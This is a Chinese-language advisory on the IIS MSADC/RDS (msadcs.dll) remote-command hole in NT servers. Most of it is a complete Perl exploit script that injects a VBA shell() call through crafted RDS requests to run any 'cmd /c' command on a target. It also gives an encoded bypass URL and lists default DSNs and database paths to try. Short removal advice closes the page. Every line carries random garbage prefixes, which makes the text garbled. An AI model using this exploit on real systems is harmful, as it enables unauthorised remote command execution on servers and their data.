IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.KB^3pOpx n$MO4s8) 涉及程序:
YFLZ %( Microsoft NT server
s[RAHU 6y-@iJ*ld; 描述:
4M=]wR; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rT=rrvV3g ?qv
!w~m< 详细:
<,3a3 如果你没有时间读详细内容的话,就删除:
BA @lk+aW c:\Program Files\Common Files\System\Msadc\msadcs.dll
FZ{h?#2? 有关的安全问题就没有了。
[SjqOTon{ %+aCJu[k(z 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
gDQ^)1k G)AqbY 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
%^)fmu 关于利用ODBC远程漏洞的描述,请参看:
L\6M^r
> pxA? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm A9KET$i@v WA<v9#m 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
sNbxI|B http://www.microsoft.com/security/bulletins/MS99-025faq.asp pQyK={7?` b<tNk]7 这里不再论述。
S*,17+6dV E+j/Cu 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
!4ocZmj\ KaLzg5is /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
q\9JgD) 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
F#3Q_G^/ +r SpIv#? #将下面这段保存为txt文件,然后: "perl -x 文件名"
U45e2~1!O $!-yr7 #!perl
k90YV( #
iOf<$f # MSADC/RDS 'usage' (aka exploit) script
vOH4# #
XnH05LQ # by rain.forest.puppy
3p$?,0ELH #
i7CX65&b # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
u%GEqruo[ # beta test and find errors!
%HhBt5w ,5P0S0*{ use Socket; use Getopt::Std;
[CTnXb getopts("e:vd:h:XR", \%args);
+WZX.D k`cfG\;r print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^L,K& Jd =bAx,,D# if (!defined $args{h} && !defined $args{R}) {
cRC6 s8 print qq~
+X\FBvP& Usage: msadc.pl -h <host> { -d <delay> -X -v }
dUD[e,? -h <host> = host you want to scan (ip or domain)
vJLK,[ -d <seconds> = delay between calls, default 1 second
s2a{>II6 -X = dump Index Server path table, if available
{Ea
b
j -v = verbose
xf'V{9* -e = external dictionary file for step 5
5p,RI&nlN W Tcw4 Or a -R will resume a command session
;_XFo&@ K,tQ!kk ~; exit;}
;gD})@ %6t:(z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
./XYd"p if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ml`:UrU if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
e_^26^{q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cQjv$$&6[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+Z,;,5'5G if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
'"52uZ{ QDZWX`qw{ if (!defined $args{R}){ $ret = &has_msadc;
m%0p\Y-/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
I<DL=V 7:e{;iG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
b8H{8{wi| . "cmd /c ";
YByLoM* $in=<STDIN>; chomp $in;
Q1lyj7c#x $command="cmd /c " . $in ;
.S EdY: V_)-#=J if (defined $args{R}) {&load; exit;}
),_@WW;k &L3M] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
"6A
`
q\ &try_btcustmr;
{aZ0; RCJ|P~* print "\nStep 2: Trying to make our own DSN...";
IM*y|UHt &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
g/4[N{Xf (xycJ`N print "\nStep 3: Trying known DSNs...";
??5Q)Erm1 &known_dsn;
g%o(+d ]iVcog"T print "\nStep 4: Trying known .mdbs...";
2y75 &known_mdb;
NCveSP )',R[|< if (defined $args{e}){
Q;Ak4[ print "\nStep 5: Trying dictionary of DSN names...";
YH$-g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
53_Hl]#qZ pR<`H' print "Sorry Charley...maybe next time?\n";
}f%} v exit;
$+Z[K.2J `Uq#W+r, ##############################################################################
aNsBcov3O O}gV`q; sub sendraw { # ripped and modded from whisker
~ZaY!(R< sleep($delay); # it's a DoS on the server! At least on mine...
eNh39er my ($pstr)=@_;
^+ml5m socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
t6rRU~;} die("Socket problems\n");
cs48*+m if(connect(S,pack "SnA4x8",2,80,$target)){
_r#Z}HK select(S); $|=1;
qyb?49I print $pstr; my @in=<S>;
'(6z.
toQ select(STDOUT); close(S);
%64)(z return @in;
`K"L /I9 } else { die("Can't connect...\n"); }}
v4<nI;Ux 5{TsiZh4 ##############################################################################
+ SzU &/Z
/Y ] sub make_header { # make the HTTP request
J[&@PUy my $msadc=<<EOT
5"VTK POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7jrt7[{ User-Agent: ACTIVEDATA
t
mntp Host: $ip
y<UK:^t31V Content-Length: $clen
W<{h,j8 Connection: Keep-Alive
|o"?gB}Dh 2F;y;l% ADCClientVersion:01.06
QP==?g3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JBj]najN xh-o}8*n" --!ADM!ROX!YOUR!WORLD!
z9f-.72"X Content-Type: application/x-varg
2g
`o Content-Length: $reqlen
]2A^1Del ;7*[Bcj. EOT
>fG3K` ; $msadc=~s/\n/\r\n/g;
6{K,c@VFd return $msadc;}
;._
l0Jw cdH>n) ##############################################################################
E,Z$pKL? XTs8s12 sub make_req { # make the RDS request
q_lKKzA my ($switch, $p1, $p2)=@_;
+.8
\p5 my $req=""; my $t1, $t2, $query, $dsn;
rw[ph[\X d7^}tM if ($switch==1){ # this is the btcustmr.mdb query
b#c:u2 $query="Select * from Customers where City=" . make_shell();
&N9
a<w8+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'ycJMYP8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Ep_HcX` OG~gFZr)6 elsif ($switch==2){ # this is general make table query
p>,|50| $query="create table AZZ (B int, C varchar(10))";
YpHg&|Fr $dsn="$p1";}
@)+AaC#- 1q\\5A<V elsif ($switch==3){ # this is general exploit table query
7O2/z:$f $query="select * from AZZ where C=" . make_shell();
<\y@*fg+ $dsn="$p1";}
,]C;sN%~} ,oe < elsif ($switch==4){ # attempt to hork file info from index server
"V7K SO $query="select path from scope()";
@&!ZZ
1V8 $dsn="Provider=MSIDXS;";}
;<Sd~M4f )6MfRw elsif ($switch==5){ # bad query
?PxP% $hS $query="select";
hF?1y `20 $dsn="$p1";}
1#g2A0U, J( TkXNm $t1= make_unicode($query);
*-WpZGh $t2= make_unicode($dsn);
lgAoJ[ $req = "\x02\x00\x03\x00";
g9pZ\$J& $req.= "\x08\x00" . pack ("S1", length($t1));
~\SGb_2 $req.= "\x00\x00" . $t1 ;
OnziG+ak $req.= "\x08\x00" . pack ("S1", length($t2));
$p8xEcQdU# $req.= "\x00\x00" . $t2 ;
T~?Ff|qFC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
' {OgN}'{ return $req;}
>{]%F*p4 G5_=H,Vmd ##############################################################################
g'f@H-KCD ~D+bh~ sub make_shell { # this makes the shell() statement
# +>oZWVc return "'|shell(\"$command\")|'";}
ldcqe$7, 68|E9^`l ##############################################################################
;}WeTA_-[ mUC)gA/ sub make_unicode { # quick little function to convert to unicode
PQt")[ my ($in)=@_; my $out;
Mt|zyXyzX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
SGRp3,1\4% return $out;}
f)rq%N & KkyVSoD\ ##############################################################################
S7 2+d%$ YaqR[F sub rdo_success { # checks for RDO return success (this is kludge)
k}CVQ@nd my (@in) = @_; my $base=content_start(@in);
M^Yh|%M if($in[$base]=~/multipart\/mixed/){
ssA`I<p # return 1 if( $in[$base+10]=~/^\x09\x00/ );}
,,.QfUj/& return 0;}
FXCMR\BsQ 7"D",1h ##############################################################################
Kn{4;Xk\ 3NqB
<J sub make_dsn { # this makes a DSN for us
\\ij(>CI my @drives=("c","d","e","f");
:G=fl)!fE print "\nMaking DSN: ";
Ny7 S foreach $drive (@drives) {
y7 cl_ rK print "$drive: ";
l4YbK np] my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
c]<5zyl"j1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
0o4XUW . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]m q|w $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&B;~
return 0 if $2 eq "404"; # not found/doesn't exist
p>N(Typ0b if($2 eq "200") {
*R,5h2; foreach $line (@results) {
7+cO_3AB return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C&f=
ywi0 } return 0;}
s^TZXCyF o Wi<m{.%\E ##############################################################################
=s{> Fsm1 AN m
d! sub verify_exists {
>uB?rGcM my ($page)=@_;
1\m[$Gs: my @results=sendraw("GET $page HTTP/1.0\n\n");
]A`n(
"% return $results[0];}
@bLy,Xr& B@))8.h] ##############################################################################
XJB)rP gg/-k;@ Rf sub try_btcustmr {
iVr J Q my @drives=("c","d","e","f");
^CH=O|8j my @dirs=("winnt","winnt35","winnt351","win","windows");
8d{0rqwNE lFj]4 foreach $dir (@dirs) {
~P
qM]^ print "$dir -> "; # fun status so you can see progress
E=Bf1/c\ foreach $drive (@drives) {
Y-z(zS^1 print "$drive: "; # ditto
\l0[rcEf $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=%O6:YM
$reqlenlen=length( "$reqlen" );
=I5>$}q_&, $clen= 206 + $reqlenlen + $reqlen;
(L:>\m&NO n&/
` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
On?v|10r' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
l&zilVVm else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
>|=ts H41?/U,{ ##############################################################################
{TROoX~H? $wa{~' sub odbc_error {
YP<ms my (@in)=@_; my $base;
_61gF[r4!Y my $base = content_start(@in);
gJ+'W1$/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
VQ@ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/maJtX' $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2tO,dx $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Rp7mh]kZ return $in[$base+4].$in[$base+5].$in[$base+6];}
DCa^
u'f print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`}\
"Aw c print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>'$Mp < $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
. Efk* ,p a {qne ##############################################################################
'Is kWgc t?gic9
q sub verbose {
NxY#NaE:?4 my ($in)=@_;
^76]0`gS return if !$verbose;
re<{
> print STDOUT "\n$in\n";}
="H%6S4' |Ez>J+uye( ##############################################################################
6MW{,N P+sW[: sub save {
gH vZVC[b my ($p1, $p2, $p3, $p4)=@_;
]EAO+x9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]W!0$'o print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"k@/3 close OUT;}
\)[j_^ Q&;9x? e ##############################################################################
?V=ZIGj ru%y sub load {
;'K5J9k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J8(lIk:e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&z3o7rif$ @p=<IN>; close(IN);
0d&6lqTo $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
NI]N4[8( $target= inet_aton($ip) || die("inet_aton problems");
aXYY:; print "Resuming to $ip ...";
Y.UFbrv $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'H!Uh]! if($p[1]==1) {
,4$>,@WW~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
0OE:[pR $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
x9g#<2w8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
p6@)-2^ if (rdo_success(@results)){print "Success!\n";}
n\DV3rXI9 else { print "failed\n"; verbose(odbc_error(@results));}}
t:Q*gWRh elsif ($p[1]==3){
Lq^)R if(run_query("$p[3]")){
{\5 print "Success!\n";} else { print "failed\n"; }}
f}e`XA? elsif ($p[1]==4){
ZBthU")? if(run_query($drvst . "$p[3]")){
Hn"RH1Zy print "Success!\n"; } else { print "failed\n"; }}
RrB&\9= exit;}
n>YKa)|W` 0e4{{zQx ##############################################################################
Q
&JUt( +<C!U' sub create_table {
;_(4Q*Yx my ($in)=@_;
Q2gq}c~ $reqlen=length( make_req(2,$in,"") ) - 28;
TeM|:o $reqlenlen=length( "$reqlen" );
QWYJ* $clen= 206 + $reqlenlen + $reqlen;
m_]Y{3C
my @results=sendraw(make_header() . make_req(2,$in,""));
Xv^qVn4 return 1 if rdo_success(@results);
Rm( "=( my $temp= odbc_error(@results); verbose($temp);
}7Q% 6&IR return 1 if $temp=~/Table 'AZZ' already exists/;
ga +dt return 0;}
8ib:FF(= u a~w$#fo"`f ##############################################################################
L8B!u9% 77Y/!~kd sub known_dsn {
w?[u pn:K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7.oM J my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
fHFE){ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
y6a3tG "banner", "banners", "ads", "ADCDemo", "ADCTest");
k(HUUH_z |L ev.,,Ph foreach $dSn (@dsns) {
%ET+iIhK print ".";
g7H(PF? next if (!is_access("DSN=$dSn"));
Z T%5T}i if(create_table("DSN=$dSn")){
<5051UEu print "$dSn successful\n";
2+XAX:YD if(run_query("DSN=$dSn")){
;V!D:5U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@VEb{ w[H print "Something's borked. Use verbose next time\n";}}} print "\n";}
}K(TjZR 9*M,R,y ##############################################################################
@yYkti;4- x%B%f`]8 sub is_access {
GbI/4<)l} my ($in)=@_;
a7opCmL $reqlen=length( make_req(5,$in,"") ) - 28;
l/5
hp. $reqlenlen=length( "$reqlen" );
^cWnF0)j. $clen= 206 + $reqlenlen + $reqlen;
oB7_O-3z my @results=sendraw(make_header() . make_req(5,$in,""));
_[BP0\dPW my $temp= odbc_error(@results);
hZb_P\1X verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/n&&Um\ return 0;}
:2`e(+Uz SXh-A1t ##############################################################################
"tK=+f`NM K&-"d/QuLg sub run_query {
!N^@4* my ($in)=@_;
m&3xJuKih $reqlen=length( make_req(3,$in,"") ) - 28;
gSj,E8-g $reqlenlen=length( "$reqlen" );
R;LP:,) $clen= 206 + $reqlenlen + $reqlen;
OyIw>Wfv my @results=sendraw(make_header() . make_req(3,$in,""));
"AqB$^S9t return 1 if rdo_success(@results);
8oGRLYU N my $temp= odbc_error(@results); verbose($temp);
2 %]X+`+O return 0;}
$??I/6 H PVEnVn ##############################################################################
.%-8 t{dt c+ie8Q! sub known_mdb {
ueNS='+m my @drives=("c","d","e","f","g");
*un^u-; my @dirs=("winnt","winnt35","winnt351","win","windows");
u3D)M%e my $dir, $drive, $mdb;
H5an%kU|j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
sLk-x\P]| \;Weizq5 # this is sparse, because I don't know of many
x+]" my @sysmdbs=( "\\catroot\\icatalog.mdb",
6A ah9 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|.dRily+ "\\system32\\certmdb.mdb",
|w=zOC;v "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
['D]>Ot68 U<XG{<2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"dlVk~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
z$sGv19pB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
cMIEtK` "\\cfusion\\cfapps\\security\\realm_.mdb",
ALHIGJW:6$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=_^X3z0 "\\cfusion\\database\\cfexamples.mdb",
a+QpM*n7Lq "\\cfusion\\database\\cfsnippets.mdb",
!,PWb3S "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j>kqz>3 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
y();tsWqc "\\cfusion\\brighttiger\\database\\cleam.mdb",
rm_Nn8p, "\\cfusion\\database\\smpolicy.mdb",
@4#vm@Yf_ "\\cfusion\\database\cypress.mdb",
D%Z| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?JUeuNs9 "\\website\\cgi-win\\dbsample.mdb",
O6Y0XL "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
j<$2hiI/?& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
l,).p ); #these are just
G~m<; foreach $drive (@drives) {
2<3K3uz foreach $dir (@dirs){
!R$`+wZ62 foreach $mdb (@sysmdbs) {
\)e'`29; print ".";
6LhTBV if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wIgS3K print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Bw.i}3UT6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
4p wH>1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
73-p*o(pt } else { print "Something's borked. Use verbose next time\n"; }}}}}
q(w(Sd)#L X>^fEQq" foreach $drive (@drives) {
"N#Y gSr foreach $mdb (@mdbs) {
8Fub<UhJ print ".";
Dv6}bx( if(create_table($drv . $drive . $dir . $mdb)){
Y:`&=wjP~ print "\n" . $drive . $dir . $mdb . " successful\n";
wC*X4 ' if(run_query($drv . $drive . $dir . $mdb)){
i/.6>4tE: print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
UF|p';oom } else { print "Something's borked. Use verbose next time\n"; }}}}
m {}Lm)M }
9BB=YnKE HOi`$vX}N ##############################################################################
P<-@h1p, TA\vZGJ(' sub hork_idx {
k:%%/ print "\nAttempting to dump Index Server tables...\n";
$~kA
B8z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
W*G<X.Hf $reqlen=length( make_req(4,"","") ) - 28;
{`_i` $reqlenlen=length( "$reqlen" );
+T+#q@ $clen= 206 + $reqlenlen + $reqlen;
\. S/| my @results=sendraw2(make_header() . make_req(4,"",""));
$;PMkUE if (rdo_success(@results)){
\<K5ZIWV my $max=@results; my $c; my %d;
zm# ?W for($c=19; $c<$max; $c++){
iow"n$/ $results[$c]=~s/\x00//g;
4Tc~b3\!Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
)%]J>&/0J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3' 'me $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
IGgL7^MF $d{"$1$2"}="";}
,: ^u-b| foreach $c (keys %d){ print "$c\n"; }
~"bVL[ } else {print "Index server doesn't seem to be installed.\n"; }}
*^r}"in o;*Q}Gr<M ##############################################################################
fV~~J2IK _v:SP
L U sub dsn_dict {
`@%LzeGz open(IN, "<$args{e}") || die("Can't open external dictionary\n");
` %}RNC while(<IN>){
-RLOD\ZBh $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4e next if (!is_access("DSN=$dSn"));
y>LBl] if(create_table("DSN=$dSn")){
@+DX.9 print "$dSn successful\n";
DfB7*+x{ if(run_query("DSN=$dSn")){
#Q5o)x print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
tBSW|0 print "Something's borked. Use verbose next time\n";}}}
R!1p^~/ print "\n"; close(IN);}
{)Xy%QV &j6erwaT ##############################################################################
62u4-}JzF ?4uL-z](V sub sendraw2 { # ripped and modded from whisker
cb bFw sleep($delay); # it's a DoS on the server! At least on mine...
d5 -qZ{W my ($pstr)=@_;
r<\u6jF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}2oc#0 die("Socket problems\n");
0`H#
'/ if(connect(S,pack "SnA4x8",2,80,$target)){
M\=2uKG# print "Connected. Getting data";
,u m|1dh open(OUT,">raw.out"); my @in;
DNi+"[~&P select(S); $|=1; print $pstr;
lRQYpc\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@nf`Gw ; close(OUT); select(STDOUT); close(S); return @in;
Hp?/a?\Xm } else { die("Can't connect...\n"); }}
#E]59_
4K74=r),i ##############################################################################
f
mGc^d|= QL* IiFR sub content_start { # this will take in the server headers
vSh`&w^* my (@in)=@_; my $c;
?ubro0F: for ($c=1;$c<500;$c++) {
5-M-X#( if($in[$c] =~/^\x0d\x0a/){
AwN!;t_0+N if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
^@]3R QB else { return $c+1; }}}
`mqMLo* return -1;} # it should never get here actually
\NC3'G:Ii nFn5v'g ##############################################################################
N g,j# :EyD+!LJ sub funky {
GthYzd:'hJ my (@in)=@_; my $error=odbc_error(@in);
mc3"`+o if($error=~/ADO could not find the specified provider/){
I:.s_8mH} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
M3AXe]<eC1 exit;}
e(yh[7p= if($error=~/A Handler is required/){
NVs@S-rpX print "\nServer has custom handler filters (they most likely are patched)\n";
SX*RP;vHy exit;}
gZ5 |UR< if($error=~/specified Handler has denied Access/){
W9)&!&<o print "\nServer has custom handler filters (they most likely are patched)\n";
I_BJH'!t exit;}}
~s{$WL& svSVG:48 ##############################################################################
f!"w5qC^ E_`=7i sub has_msadc {
@XVTU my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;G!q Y my $base=content_start(@results);
4I7>f]=) return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
#/]nxW.S return 0;}
;Xw~D_uv d'2A,B~_* ########################
~5g ~;f[4 YS ][n_ qWw=8Bq 解决方案:
o(HbGHIP 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<QvOs@i* 2、移除web 目录: /msadc